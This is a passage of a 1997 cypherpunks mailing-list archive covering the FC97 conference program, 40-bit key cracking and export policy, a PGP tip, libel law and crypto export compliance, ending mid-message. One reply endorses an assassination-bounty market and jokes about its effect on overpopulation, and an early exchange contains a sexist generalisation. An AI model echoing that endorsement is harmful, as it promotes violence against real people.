Subject: Re: overview.htm (fwd)
In-Reply-To: <32EEF0AC.BF1@gte.net>
Message-ID: <Pine.SOL.3.93.970129080121.21739A-100000@pegasus.montclair.edu>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 28 Jan 1997, Dale Thorn wrote:

> OKSAS wrote:
> > On Mon, 27 Jan 1997, Dale Thorn wrote:
> > > Nurdane Oksas wrote:
> 
> > > > > > > > California is know for very beautiful girls ...
> 
> > > > Well, can you say you've been 'anywhere else'?
> 
> > > Atlanta has some nice babes, warm weather.
> > > Charleston. Much smaller than Atlanta. Very cozy.
> > > Southern Germany. Very, very nice.  Loved Berchtesgaden (sp?).
> > > What about you?
> 
> > I am not into girls...sorry.
> 
> Too bad.  They're cleaner, more polite, less aggressive, make far
> better love than men.  If only they were interested in real computing
> (other than as a job or school work).

	Yes, what would i know...

oksas





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 29 Jan 1997 05:18:31 -0800 (PST)
To: FC97 Conference Distribution <rah@shipwright.com>
Subject: FC97: PRELIMINARY CONFERENCE PROGRAM
Message-ID: <v0300780baf14f7ed77a7@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain


		      Financial Cryptography '97
		  February 24-28 1997, Anguilla, BWI
		       PRELIMINARY PROGRAM


General Information:

Financial Cryptography '97 (FC97) is a new conference on the security
of digital financial transactions.  The first meeting will be held on
the island of Anguilla in the British West Indies on February 24-28,
1997.  FC97 aims to bring together persons involved in both the
financial and data security fields to foster cooperation and exchange
of ideas.

Original papers were solicited on all aspects of financial data
security and digital commerce in general.

Program Committee:

Matthew Franklin, AT&T Laboratories--Research, Murray Hill, NJ, USA
Michael Froomkin, U. Miami School of Law, Coral Gables, FL, USA
Rafael Hirschfeld (Program Chair), CWI, Amsterdam, The Netherlands
Arjen Lenstra, Citibank, New York, NY, USA
Mark Manasse, Digital Equipment Corporation, Palo Alto, CA, USA
Kevin McCurley, Sandia Laboratories, Albuquerque, NM, USA
Charles Merrill, McCarter & English, Newark, NJ, USA
Clifford Neuman, Information Sciences Institute, Marina del Rey, CA, USA
Sholom Rosen, Citibank, New York, NY, USA
Israel Sendrovic, Federal Reserve Bank of New York, New York, NY, USA

Preliminary Conference Program for FC97:

Monday 24 February 1997

 830 --  905

    Anonymity Control in E-Cash Systems
    George Davida (University of Wisconsin, Milwaukee, WI, USA),
    Yair Frankel (Sandia National Laboratories, Albuquerque, NM, USA),
    Yiannis Tsiounis (Northeastern University, Boston, MA, USA),
    Moti Yung (CertCo, New York, NY, USA)

 905 --  940

    How to Make Personalized Web Browsing Simple, Secure, and Anonymous
    Eran Gabber, Phil Gibbons, Yossi Matias, Alain Mayer
        (Bell Laboratories, Lucent Technologies)

 940 -- 1015

    An Anonymous Networking Infrastructure and Virtual Intranets
    Jim McCoy (Electric Communities, Cupertino, CA, USA)

1015 -- 1045
    Coffee Break

1045 -- 1120

    Unlinkable Serial Transactions
    Paul F. Syverson (Naval Research Laboratory, Washington, DC, USA),
    Stuart G. Stubblebine (AT&T Labs--Research, Murray Hill, NJ, USA),
    David M. Goldschlag (Naval Research Laboratory, Washington, DC, USA)

1120 -- 1155

    Efficient Electronic Cash with Restricted Privacy
    Cristian Radu, Rene Govaerts, Joos Vandewalle
        (Katholieke Universiteit Leuven, Leuven, Belgium)

1155 -- 1230

    The SPEED Cipher
    Yuliang Zheng (Monash University, Melbourne, Australia)


Tuesday 25 February 1997

 830 --  930
    Invited Speaker
    To Be Announced

 930 -- 1005

    Smart Cards and Superhighways
        The technology-driven denationalisation of money
    David G.W. Birch, Neil A. McEvoy (Hyperion, Surrey, England)

1005 -- 1045
    Coffee Break

1045 -- 1120

    Fault Induction Attacks, Tamper Resistance, and Hostile Reverse
        Engineering in Perspective
    David P. Maher (AT&T Labs--Research, Murray Hill, NJ, USA)

1120 -- 1155

    Some Critical Remarks on "Dynamic Data Authentication" as
        specified in EMV '96
    Louis C. Guillou (CCETT, Cesson-Sevigne, France)

1155 -- 1230

    Single-chip implementation of a cryptosystem for financial
        applications
    Nikolaus Lange (SICAN Braunschweig GmbH, Braunschweig, Germany)


Wednesday 26 February 1997

 830 --  930
    Invited Speaker
    Ronald Rivest (MIT Lab for Computer Science, Cambridge, MA, USA)

 930 -- 1005

    Cyberbanking and Privacy: The Contracts Model
    Peter P. Swire (Ohio State University, Columbus, OH, USA)

1005 -- 1045
    Coffee Break

1045 -- 1120

    SVP: a Flexible Micropayment Scheme
    Jacques Stern, Serge Vaudenay (Ecole Normale Superieure, Paris, France)

1120 -- 1155

    An efficient micropayment system based on probabilistic polling
    Stanislaw Jarecki (MIT Lab for Computer Science, Cambridge, MA, USA),
    Andrew Odlyzko (AT&T Labs--Research, Murray Hill, NJ, USA)

1155 -- 1230

    On the continuum between on-line and off-line e-cash systems - I
    Yacov Yacobi (Microsoft, Redmond, WA, USA)


Thursday 27 February 1997

 830 --  905

    Auditable Metering with Lightweight Security
    Matthew K. Franklin, Dahlia Malkhi
        (AT&T Labs--Research, Murray Hill, NJ, USA)

 905 --  940

    Applying Anti-Trust Policies to Increase Trust in a Versatile
        E-Money System
    Markus Jakobsson (UCSD, La Jolla, CA, USA),
    Moti Yung (BTEC/CertCo, New York, NY, USA)

 940 -- 1015

    Towards Multiple-payment Schemes for Digital Money
    H. Pagnia, R. Jansen (University of Darmstadt, Darmstadt, Germany)

1015 -- 1045
    Coffee Break

1045 -- 1120

    Legal Issues in Cryptography
    Edward J. Radlo (Fenwick & West LLP, Palo Alto, CA, USA)

1120 -- 1230
    Panel Discussion
    Legal Issues of Digital Signatures
    Michael Froomkin (University of Miami School of Law, Miami, FL, USA),
    Charles Merrill (McCarter & English, Newark, NJ, USA),
    Benjamin Wright (Dallas, TX, USA)

Friday 28 February 1997

 830 --  930
    Invited Speaker
    To Be Announced

 930 -- 1005

    The Gateway Security Model in the Java Electronic Commerce Framework
    Theodore Goldstein (Sun Microsystems Laboratories/Javasoft)

1005 -- 1045
    Coffee Break

1045 -- 1120

    Highly Scalable On-line Payments Via Task Decoupling
    David William Kravitz (CertCo LLC, Albuquerque, NM, USA)

1120 -- 1155

    GUMP; Grand Unified Meta-Protocols
        Recipes for Simple, Standards-based Financial Cryptography
    Barbara Fox, Brian Beckman (Microsoft, Redmond, WA, USA)

1155 -- 1230

    Secure Network Communications and Secure Store & Forward Mechanisms
        with SAP R/3
    Bernhard Esslinger (SAP AG, Walldorf, Germany)





The conference will run from 8:30 AM to 12:30 PM, for five days, February
24-28 1997. Breakfast provided at the conference. The conference
organizers have left the afternoon and evenings open for corporate
sponsored events, for networking, and for recreational activities on the
resort island of Anguilla. Participants are encouraged to bring their families.

Workshop:

A 40-hour workshop, intended for anyone with commercial software
development experience who wants hands-on familiarity with the issues and
technology of financial cryptography, is planned in conjunction with FC97,
to be held during the week preceding the conference.

For more information on the workshop, please see the URL
http://www.cs.berkeley.edu/~iang/fc97/workshop.html .

For workshop registration, see the URL
http://www.offshore.com.ai/fc97/ .


Venue:

The InterIsland Hotel is a small 14-room guesthouse and a large,
comfortable 150 seat conference facility with additional space for a small
10-booth exhibition. The Inter-Island is on Road Bay, near Sandy Ground
Village, in the South Hill section of Anguilla. The conference, workshop,
and exhibition will have TCP/IP internet access. The rooms at the
InterIsland itself have sold out, but there are many other hotels
and guesthouses on Anguilla, and shuttle service to the conference will be
available.

Air Transportation and Hotels:

Air travel to Anguilla is typically done through either San Juan or St.
Thomas for US flights, or St. Maarten/Martin for flights from Europe and
the US.

Anguillan import duties are not imposed on hardware or software which will
leave the island again. There are no other taxes -- or cryptography
import/export restrictions -- on Anguilla.

Hotels range from spartan to luxurious, and more information about hotels
on Anquilla can be obtained from your travel agent, or at the URL
http://www.offshore.com.ai/fc97/ .


General Chairs:

Robert Hettinga, Shipwright/e$, Boston, MA, USA;
rah@shipwright.com

Vincent Cate, Offshore Information Services, Anguilla, BWI;
vince@offshore.com.ai

Conference, Exhibits, and Sponsorship Manager:

Julie Rackliffe, Boston, MA, USA;
rackliffe@tcm.org

Workshop Leader:

Ian Goldberg, Berkeley, CA, USA;
iang@cs.berkeley.edu


Registration:

You can register and pay for conference admission on the World Wide Web at
the URL http://www.offshore.com.ai/fc97/ .

The cost of the FC97 Conference is US$1,000.

Booths for the exhibition start at US$5,000 and include two conference
tickets. For more information about exhibit space, contact Julie Rackliffe,
rackliffe@tcm.org . Sponsorship opportunities for FC97 are still available.

The cost of the workshop is US$5000, and includes meals but not lodging.
You can register for the workshop, which runs the week prior to the
conference, at the URL <http:/www.offshore.com.ai/fc97>



Financial Cryptography '97 is held in cooperation with the
International Association for Cryptologic Research.

It is sponsored by:

The Journal for Internet Banking and Commerce
<http://www.arraydev.com/commerce/JIBC/>
Offshore Information Services <http://www.offshore.com.ai/>
e$ <http://www.shipwright.com/rah/>
C2NET <http://www.c2.net/>
See Your Name Here <mailto: rackliffe@tcm.org>

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"The cost of anything is the foregone alternative" -- Walter Johnson
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/
"If *you* don't go to FC97, *I* don't go to FC97"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Wed, 29 Jan 1997 05:42:47 -0800 (PST)
To: cypherpunks@toad.com
Subject: COO_kin
Message-ID: <1.5.4.32.19970129133722.006c9ca4@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


1-29-97. NYP:

GAK-czar cooks key hooks.

FBI cooks lab books.

-----

COO_kin





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Date: Wed, 29 Jan 1997 05:42:03 -0800 (PST)
To: Robert Hettinga <rah@shipwright.com>
Subject: Re: AltaVista sprouts a hole ...
In-Reply-To: <199701290126.RAA11363@toad.com>
Message-ID: <0mvpAZ200YUd02MHY0@andrew.cmu.edu>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Robert Hettinga <rah@shipwright.com> writes:
> --- begin forwarded text
> 
> 
> Sender: e$@thumper.vmeng.com
> Reply-To: Russell Stuart <R.Stuart@rsm.com.au>
> MIME-Version: 1.0
> Precedence: Bulk
> Date: Wed, 29 Jan 1997 08:07:27 +1000
> From: Russell Stuart <R.Stuart@rsm.com.au>
<snip>

> However, the doubleclick.net ads appear to bear no relationship to the
> keywords being searched, and they appear not only in the URL for the
> hyperlink to follow, but also in the IMG SRC URL.  This means that in
> order
> to avoid disclosing my keyword lists to doubleclick.net, I have to
> disable
> automatic loading of inline images when using AltaVista!

Actually, the ads *do* relate to the keywords. Try doing a search for
"flowers" and a search for "sex."

http://www.anonymizer.com/

Jer

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQB1AwUBMu9TH8kz/YzIV3P5AQEL8AL/Tj6fj0hRMYZVK1ppuh/DSxtB89urgSDy
DDmA6ycn0DmmUg1TL7w8k2vkN/srUfvddA6pu3vZGU8Pa3unA4LSAe3ipCygzuGK
d1s0BW+Cy15HDjdTdFe9I0tYfjdNQo2B
=26sJ
-----END PGP SIGNATURE-----




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Date: Wed, 29 Jan 1997 05:52:30 -0800 (PST)
To: spyking@thecodex.com
Subject: Re: Best Computer School?
In-Reply-To: <199701290257.SAA14988@toad.com>
Message-ID: <0mvpLz200YUd02MKw0@andrew.cmu.edu>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Matthew Toth <mst114@psu.edu> writes:
>         MIT is one the best schools in the country for C.S.
>         Close behind is Carnegie Mellon University (C.M.U.) in Pittsburgh,
> PA. (the folks who put out CERT.) Not sure how much Crypto they do, though.

I think there's one class on crypto (explicitly), but there's some
talent here. One who was interested could get an independant study or
a research job without too much trouble. After all, MIT isn't the only
place that writes kerberos, AFS, and the like.

(In case you're wondering, the "A" in AFS stands for "Andrew," of
Andrew Carnegie.)

Jer

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQB1AwUBMu9V+skz/YzIV3P5AQH/XgL/VFA/4M1XTD8xl86Y6GrtU46YGpmGnhn6
lDKSA/xaxAzUToPTXQdyNqY5xg5CpfwYraVEiyLIvWKsIvOWtJgG3cZzF+xqlx39
sgbM0L6aMXrXkGqLdosZMjrr9Rqc6KE5
=FTU1
-----END PGP SIGNATURE-----




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steven Bellovin <smb@research.att.com>
Date: Wed, 29 Jan 1997 06:15:12 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Last nail for US crypto export policy?
Message-ID: <199701291411.JAA01361@raptor.research.att.com>
MIME-Version: 1.0
Content-Type: text/plain


It is dangerously naive to label this success the ``last nail for US
crypto export policy''.  Everyone concerned with this issue, from the
NSA to the FBI to anyone who wants to use crypto, understands this
and accepts it.  40-bit keys are good for protection against casual
snooping, and nothing more -- and no one is going to claim that you
need supercomputers to crack them.  In fact, I assert that the U.S.
government is *happy* about these results -- because it's going to
push folks towards wanting stronger crypto for export.  The only problem,
of course, is the terms under which such code can be exported...

I'll go further -- in my opinion, the only reason the government doesn't
want DES to fall just yet is that alternatives aren't ready.  That is,
the banks and financial institutions, and for that matter the government
agencies, have not converted to 3DES or Clipper or what have you, and
can't do so on short notice; the commercial products they need just aren't
ready yet.  No one wants to risk a loss of confidence in the financial
system.  Two years from now, though, when some key escrow products are
ready, it may be a different story.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: falk@Eng.Sun.COM (Ed Falk)
Date: Wed, 29 Jan 1997 09:39:52 -0800 (PST)
To: harka@nycmetro.com
Subject: Re: PGP Key Preview...
Message-ID: <199701291738.JAA23721@peregrine.eng.sun.com>
MIME-Version: 1.0
Content-Type: text/plain



> is there a way to preview the contents of a received public key,
> without adding it automatically to the public key ring?

Trivial.  Just have pgp look at the file without giving it any commands.
I.e. instead of

	pgp -ka <filename>
do
	pgp <filename>

Pgp will examine the file, tell you it contains keys, show them to
you and then ask if you want to add them to your keyring.  This is
the way I normally add keys, just because I like to look at *any* file
before I add it to any system.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: falk@Eng.Sun.COM (Ed Falk)
Date: Wed, 29 Jan 1997 09:41:52 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Last nail for US crypto export policy?
Message-ID: <199701291740.JAA23726@peregrine.eng.sun.com>
MIME-Version: 1.0
Content-Type: text/plain


>   I just ran out of asswipe.
>   Does anyone have any RSA Data Security, Inc. stock they'd like to
> sell?

Now, now.  I don't think RSADSI had any illusions of 40-bit keys being
secure; they just wanted to find out just *how* insecure they were.

I suspect that this crack will *benefit* RSADSI, and the rest of the
crypto community, by helping to convince the feds to ease up.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David Lesher / hated by RBOC's in 5 states" <wb8foz@wauug.erols.com>
Date: Wed, 29 Jan 1997 06:53:42 -0800 (PST)
To: karn@qualcomm.com (Phil Karn)
Subject: Re: Machine readable form (was:RE: [DES] DES Key Recovery Project, Progress Report #7)
In-Reply-To: <199701290258.SAA15049@toad.com>
Message-ID: <199701291453.JAA05208@wauug.erols.com>
MIME-Version: 1.0
Content-Type: text/plain


Phil Karn sez:
> 
> This seems clear enough. If it's printed on paper, it's kosher for
> export. But if we're really overt about it, we may goad the government
> into attempting to control printed source code as well. That could
> prove most interesting.

I wonder where the ADA-approved Large Print for the vision-impaired
edition falls. 


-- 
A host is a host from coast to coast.................wb8foz@nrk.com
& no one will talk to a host that's close........[v].(301) 56-LINUX
Unless the host (that isn't close).........................pob 1433
is busy, hung or dead....................................20915-1433




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Patrick May <pjm@spe.com>
Date: Wed, 29 Jan 1997 10:17:05 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Best Computer School?
In-Reply-To: <199701290256.SAA14915@toad.com>
Message-ID: <199701291801.KAA01112@gulch.spe.com>
MIME-Version: 1.0
Content-Type: text/plain


Rick Osborne writes:
 > At 12:32 PM 1/28/97 -0500, Derek Atkins wrote:
 > >This is really exagerating.  You do not need a 4.0, 1600, etc. to be
 > >admitted to MIT.  Sure, you need good grades, but a 3.6 average and
 > >1350-1400 SAT scores is perfectly adequate to be admitted to MIT.
 > 
 > I disagree and can speak from experience.  I was denied admission to MIT
 > even thought I had a 3.82 GPA, 1440 SAT (one try), and had taken 9 AP tests
 > with two 5's, four 4's, two 3's, and one 2.  As for being well-rounded, I
 > was on several academic teams, sang in Chorus, acted and stage managed in
 > Drama, and played Tennis.

     I have a degree from MIT and got in with marks only slightly
higher than these.  My verbal SAT was actually higher than my math.

 > The only thing I didn't have that the next MIT applicant had was money.  I
 > made the mistake of letting them know that I was dirt poor and would need
 > full aid/grants/etc, and to quote "The Great Escape" it was "Zzzt! To the
 > Russian front!"

     This is an incorrect conclusion.  I'm replying publicly to your
message because I would hate for a kid with ability and little or no
money to give up on getting into MIT without trying.  I grew up on a
small farm in Maine and got zero financial help for college from my
folks.  The financial aid people at Tech assured me that, if I were
admitted, they would come up with a package of grants, scholarships,
and loans to make the nut.  With me working through school, they did.
I've just finished retiring the $45k+ debt.

 > MIT may be a great school, but they tend to be snooty assholes for the most
 > part.  (DISCLAIMER: Not all MIT grads/attendees are necessarily "snooty
 > assholes", I'm just saying that I've yet to meet one that wasn't.)

     I've been accused of being an asshole on more than one occasion
(although never snooty).  I think it's more a matter of temperament
than anything Tech did to me, though.

Regards,

pjm




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Wed, 29 Jan 1997 10:05:31 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Libel & the 1st Amendment
Message-ID: <199701291805.KAA29363@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:46 AM 1/29/1997, Declan McCullagh wrote:
> * Many 1st Amendment experts don't believe in the legal concept of
> libel.  It is, they say, a rich man's game -- if I'm libeled by the
> NYT, I'm probably not going t be able to sue them, but Donald Trump
> can. Moreover, if I don't have the resources to sue but the
> statement is libelous, it creates a *presumption* in the minds of
> the readers that the article is certainly true. (If it were not, I
> would have sued, right?)

The wealthy also use libel suits to suppress dissent.  Greg's point
that poor people aren't worth suing is only true if the motivation is
financial.  Often it is not.  Conveniently, many of those whose
silence is desired are among the petty bourgeouis and have a net worth
of roughly $50,000.  Enough to make the suit appear legitimate, but
not enough to allow the target to brush off the legal fees, if they
win the case.

Consider also the artificial distinction between private and public
figures.  It is easier for a private figure to sue for libel.  Yet,
the most influential people in the country are private figures.
Reporters must tread very carefully when covering the activities of
these people.  Thus, we hear little of them.

It would be interesting to know when libel law was first introduced to
the United States.  Does anybody know?

John Peter Zenger




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Wed, 29 Jan 1997 09:02:29 -0800 (PST)
To: dthorn@gte.net
Subject: Re: Sandy Loses His Gold Star
In-Reply-To: <Pine.SUN.3.91.970129065020.28830L-100000@crl13.crl.com>
Message-ID: <32EF9488.5C61@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Dale Thorn wrote:

> I hope to God you're paying attention, Toto.  You just got a new
> rule: inclusion of no-longer-relevant comments. Now if you pay close
> attention from now on, and write these things down, you won't forget.
> (until there's a new rule, but that's the way these things work).

  Of course I'm paying attention.
  That's why Sandy had to 'double-talk' to explain how his denial 
that the post was sent to the 'flames' list really meant that it
was sent to the 'spam' list, which just happens to be the 'flames'
list, except on Thursdays between 2 p.m. and 4 p.m., when it is 
called the 'shit' list. 

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Wed, 29 Jan 1997 10:41:28 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Fighting the cybercensor
Message-ID: <199701291841.KAA06953@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:40 PM 1/27/97 -0500, Phillip M. Hallam-Baker wrote:
>
>
>jim bell <jimbell@pacifier.com> wrote in article
<5ch9f2$cuu@life.ai.mit.edu>...
>
>> Look, I've proposed what I consider to be a remarkably consistent method to 
>> prevent the kind of political tyranny that you criticize, and I don't see 
>> any recognition of this fact.  
>
>Thats because its a whacko solution that has no credibility
>or consistency. 
>
>If anyone tried to set up such a market and a price went out
>on any of the heads of state fantasized about Mr Bell would be 
>dead as a doornail in a week.
>
So you're saying that the system would work.  Mr. bell would be targeted, a
price on his head, for starting that very system.  Mr. Bell would be a
martyr, his system being proven by his own death.  It would be some varient
of his idea that would be used to kill him, a bounty.
I think that the system would work, I also think that it would be easiest to
use by those already in possession of the money.
It would take care of part of our overpopulation problem though...  





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dan Geer <geer@OpenMarket.com>
Date: Wed, 29 Jan 1997 07:45:51 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Last nail for US crypto export policy?
In-Reply-To: <199701291411.JAA01361@raptor.research.att.com>
Message-ID: <199701291545.KAA02713@waterville.openmarket.com>
MIME-Version: 1.0
Content-Type: text/plain



Steve Bellovin writes:

    It is dangerously naive to label this success the ``last nail for US
    crypto export policy''.  Everyone concerned with this issue, from the
    NSA to the FBI to anyone who wants to use crypto, understands this
    and accepts it.  40-bit keys are good for protection against casual
    snooping, and nothing more -- and no one is going to claim that you
    need supercomputers to crack them.  In fact, I assert that the U.S.
    government is *happy* about these results -- because it's going to
    push folks towards wanting stronger crypto for export.  The only problem,
    of course, is the terms under which such code can be exported...
    
    I'll go further -- in my opinion, the only reason the government doesn't
    want DES to fall just yet is that alternatives aren't ready.  That is,
    the banks and financial institutions, and for that matter the government
    agencies, have not converted to 3DES or Clipper or what have you, and
    can't do so on short notice; the commercial products they need just aren't
    ready yet.  No one wants to risk a loss of confidence in the financial
    system.  Two years from now, though, when some key escrow products are
    ready, it may be a different story.

Steve is absolutely right on the money, particularly about the likely
happiness on the government side.

The true explanation of the current effort is a testimony to the
strategic skill of the regulators, but it is not as represented aloud.
Export controls are meaningless without domestic use restrictions and
domestic use restrictions will never pass the test of the First
Amendment.  Therefore, in an effort to obtain what cannot be obtained
politically, this administration makes the following ploy:
  (1) Withhold from American companies the wherewithal to compete
      internationally by crippling the products they may export;
  (2) Offer to those companies that will include the functional equivalent
      of domestic use restrictions in their products a competitive
      advantage that could never otherwise withstand any fairness test;
  (3) Declare the resulting imposition of domestic use controls to be
      the "voice of the marketplace" and "voluntary."

This is as shameful as saying that a rape victim was "asking for it."

--dan





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Wed, 29 Jan 1997 07:48:32 -0800 (PST)
To: Jim Choate <ravage@einstein.ssz.com>
Subject: Re: Libel & the 1st Amendment
In-Reply-To: <199701290611.WAA20631@toad.com>
Message-ID: <Pine.GSO.3.95.970129104044.9355C-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain


A couple points:

* The 1st Amendment does protect some lies. If I say "Jim Choate is a
Venusian albatross," the statement is probably (?) a lie, but I doubt
you'll prevail in a libel suit. What damages do you have? That's the key,
I believe -- the statement has to lower you in the opinion of others.

* Many 1st Amendment experts don't believe in the legal concept of libel. 
It is, they say, a rich man's game -- if I'm libeled by the NYT, I'm
probably not going t be able to sue them, but Donald Trump can. Moreover,
if I don't have the resources to sue but the statement is libelous, it
creates a *presumption* in the minds of the readers that the article is
certainly true. (If it were not, I would have sued, right?) 

* The concept you may be searching for is consensual speech, which I
believe a society should tolerate. Libelous speech isn't consensual,
though obscenity is.

-Declan


On Tue, 28 Jan 1997, Jim Choate wrote:

> 
> Hi,
> 
> It has been asserted by at least one member that the 1st Amendment protects
> libelous or other defamatory speech. 
> 
> This is hokem. The 1st most certainly does not protect lies in any form. It
> protects opinion, this is distinctly different then stating a untruth about
> some party or distribution of material with the attributation to them
> without their permission.
> 
> No civilized society can exist that permits lies and other defamations of
> character and expect to survive for any length of time. Simply for no other
> reason than contracts and other such instruments would not be worth the
> paper they were printed on. Let alone any laws or other issuances from the
> government itself.
> 
> 
> 				ARTICLE I. 
>  
> 	Congress shall make no law respecting an establishment of religion, 
> or prohibiting the free exercise thereof; or abridging the freedom of 
> speech, or of the press; or the right of the people peaceably to assemble, 
> and to petition the Government for a redress of grievances. 
>  
>  
> Where in there do you see a right to lie, cheat, or steal? If it did, it
> would be a lie because it would not protect the very freedom it says it is.
> 
> 
>                                                   Jim Choate
>                                                   CyberTects
>                                                   ravage@ssz.com
> 
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Wed, 29 Jan 1997 07:55:26 -0800 (PST)
To: stewarts@ix.netcom.com
Subject: Re: East German Collapse (Was: Fighting the cybercensor
In-Reply-To: <199701290628.WAA20945@toad.com>
Message-ID: <Pine.GSO.3.95.970129104904.9355D-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 28 Jan 1997 stewarts@ix.netcom.com wrote:

> (ObCypherpunksContent: if substantial amounts of tax money starts
> escaping into Cypherspace, it's not easy to maintain a modern
> CorporatistWelfare-for-Bureaucrats state either.....)

I disagree. Where does this money "escape" to? Do you spend it on rent,
pizza, a new stereo? Hmm... These are all meatspace transactions and can
be taxed.

I met last week with a senior Clinton administration official for an
article I'm working on and posed this question to him, asking how we can
tax anonymous online transactions. He replied: "Well, we have this
corporate income tax..."

-Declan





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Michael Paul Johnson <mikej2@Exabyte.COM>
Date: Wed, 29 Jan 1997 10:18:38 -0800 (PST)
To: Mark Rosen <mrosen@peganet.com>
Subject: Complying with the EAR [was: More Circumventing the ITAR]
In-Reply-To: <199701290307.WAA13939@mercury.peganet.com>
Message-ID: <Pine.SUN.3.95.970129095326.16309A-100000@gedora>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, 28 Jan 1997, Mark Rosen wrote:

> 	I'm curious as to exactly what the ITAR/EAR/Whatever says specifically
> about "unrestricted FTP sites." My program, Kremlin, is available for

You should check the exact text yourself, but the way I read the EAR, you
are not "exporting" strong cryptographic software without a license (exept
to Canada, which needs no license) if you do things "such as"
(1) have the guests to your site acknowledge that the EAR restricts
export, (2) have the guests affirm that they can legally get the software
(proper citizenship or residency & location), and (3) "check the address
of the destination computer to see if it is in the USA" or Canada. The
last one, I interpret rather loosely to mean that if the guest's email
address domain isn't one commonly used in the USA or Canada, then I deny
access. We all know that not all .com addresses are North American, but
chances are really good that if the address ends in .ru, then the
destination machine is probably not in North America. This is not a
perfect way to prevent export, of course, but it is what the regulations
say, as I read them. For a pointer to the regulations and to my access
request form and crypto site, see http://www.sni.net/~mpj/crypto.htm

Disclaimer: I am not a lawyer, and most lawyers don't even understand this
stuff, so you read and act on it at your own risk. This is just my best
effort to comply with the law without sacrificing my right to publish.

> download at the web page below. On my web page, I have some stuff in bold
> print that informs about the ITAR and tells people to go away if they're
> not from the US or Canada. Does this count as an unrestricted FTP site?

Is there any reason why people have to look at your warning before reading
your warning? At my site, the ftp site itself is in a hidden directory
that changes names often enough that people can't successfully link to the
restricted files for very long without going through my warning page.
Indeed, my site can't be navigated and indexed properly by web search
robots. At your site, it is extremely likely that someone would find your
software without ever seeing your warning. Indeed, your software is on
another server with another interface. I think that your site counts as
unrestricted.

> 	Also, back to the question of registration numbers. A registration number
> is just a string of letters and numbers, and is essentially the same as a
> friendly letter; it contains no cryptographic code. For all anyone knows, I
> could just be charging for pseudo-random numbers, again, nothing of
> cryptographic significance. Is it illegal for me to mail someone outside of
> the US or Canada a registration code? Thanks for any help.

The registration code is legally equivalent to the registered software
that it unlocks. Sending the registration code to France, for example,
would be likely to be considered the same as sending the registered
software to France (in violation of the laws of both countries).

Now if the "unregistered" software is weak (i. e. crippled key length)
without the registration code, you need not worry about posting it
publicly and without restriction, as long as you don't export the
registration code (except to Canada) without a license. I do this with
Quicrypt (ftp://ftp.csn.net/mpj/qcrypt11.zip).

BTW, I posted krem104.zip at my site. Please let me know if I mangled it
in the process...

http://www.sni.net/~mpj/crypto.htm

 Michael Paul Johnson      Opinions herein are not necessarily Exabyte's.
 Work:     mpj@exabyte.com http://www.exabyte.com
 Personal: mpj@csn.net     http://www.csn.net/~mpj       BBS 303-772-1062





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl.com>
Date: Wed, 29 Jan 1997 11:36:52 -0800 (PST)
To: Anonymous <nobody@REPLAY.COM>
Subject: Re: Physician, Heal Thyself!
In-Reply-To: <199701291826.TAA02571@basement.replay.com>
Message-ID: <Pine.SUN.3.91.970129110243.12086Q-100000@crl.crl.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

On Wed, 29 Jan 1997, Anonymous wrote:

